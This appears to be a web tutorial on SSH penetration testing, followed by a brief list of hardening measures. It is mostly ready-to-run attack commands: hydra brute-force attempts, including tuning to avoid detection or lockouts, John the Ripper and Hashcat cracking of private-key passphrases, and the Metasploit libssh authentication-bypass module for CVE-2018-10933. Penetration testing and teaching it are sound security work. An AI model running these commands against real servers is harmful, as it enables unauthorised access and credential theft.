SSH Penetration Testing Guide - Security, Hardening, and Best Practices

Password Attacks

Techniques to gain access using password-based authentication

Basic SSH Password Attack:

hydra -l username -P /path/to/wordlist.txt ssh://192.168.1.1

This command attempts to crack the password for a specific username using a wordlist.

Multiple Username Attack:

hydra -L /path/to/usernames.txt -P /path/to/passwords.txt ssh://192.168.1.1

This command attempts to crack passwords for multiple usernames using a wordlist.

Specific Port Attack:

hydra -l username -P /path/to/wordlist.txt ssh://192.168.1.1:2222

This command targets SSH running on a non-standard port (2222).

Verbose Output:

hydra -v -l username -P /path/to/wordlist.txt ssh://192.168.1.1

This command provides verbose output during the attack.

Limiting Parallel Tasks:

hydra -t 4 -l username -P /path/to/wordlist.txt ssh://192.168.1.1

This command limits the number of parallel tasks to 4, which can help avoid detection or lockouts.

Advanced Exploitation Techniques

Beyond basic password attacks, advanced exploitation techniques target vulnerabilities in SSH implementations, key-based authentication, and protocol weaknesses.

Key-Based Attacks

Techniques to exploit SSH key-based authentication

SSH Private Key Cracking with John the Ripper:

# Convert SSH private key to John format ssh2john id_rsa > id_rsa.hash # Crack the key with John john --wordlist=/path/to/wordlist.txt id_rsa.hash

These commands convert an SSH private key to a format that John the Ripper can crack, then attempt to crack the passphrase.

SSH Private Key Cracking with Hashcat:

# Convert SSH private key to Hashcat format python ssh2hashcat.py id_rsa > id_rsa.hash # Crack the key with Hashcat hashcat -m 22921 -a 0 id_rsa.hash /path/to/wordlist.txt

These commands convert an SSH private key to a format that Hashcat can crack, then attempt to crack the passphrase.

Using a Cracked Private Key:

# Set correct permissions on the private key chmod 600 id_rsa # Use the key to authenticate ssh -i id_rsa username@192.168.1.1

These commands set the correct permissions on a private key and use it to authenticate to an SSH server.

SSH Vulnerabilities

Exploiting known vulnerabilities in SSH implementations

libssh Authentication Bypass (CVE-2018-10933):

libssh versions 0.6.0 through 0.7.5 and 0.8.0 through 0.8.3 contain an authentication bypass vulnerability that allows an attacker to authenticate without credentials.

# Using Metasploit use auxiliary/scanner/ssh/libssh_auth_bypass set RHOSTS 192.168.1.1 set RPORT 22 run

Defense Strategies

Protecting your SSH servers against common exploitation techniques

Key Security Measures:

Disable password authentication and use key-based authentication
Implement strong password policies if password authentication is necessary
Use strong encryption algorithms and disable weak ciphers
Regularly update SSH server software to patch vulnerabilities
Implement IP-based access restrictions
Use fail2ban or similar tools to prevent brute force attacks
Implement proper logging and monitoring

SSH Exploitation Methods

SSH Exploitation Techniques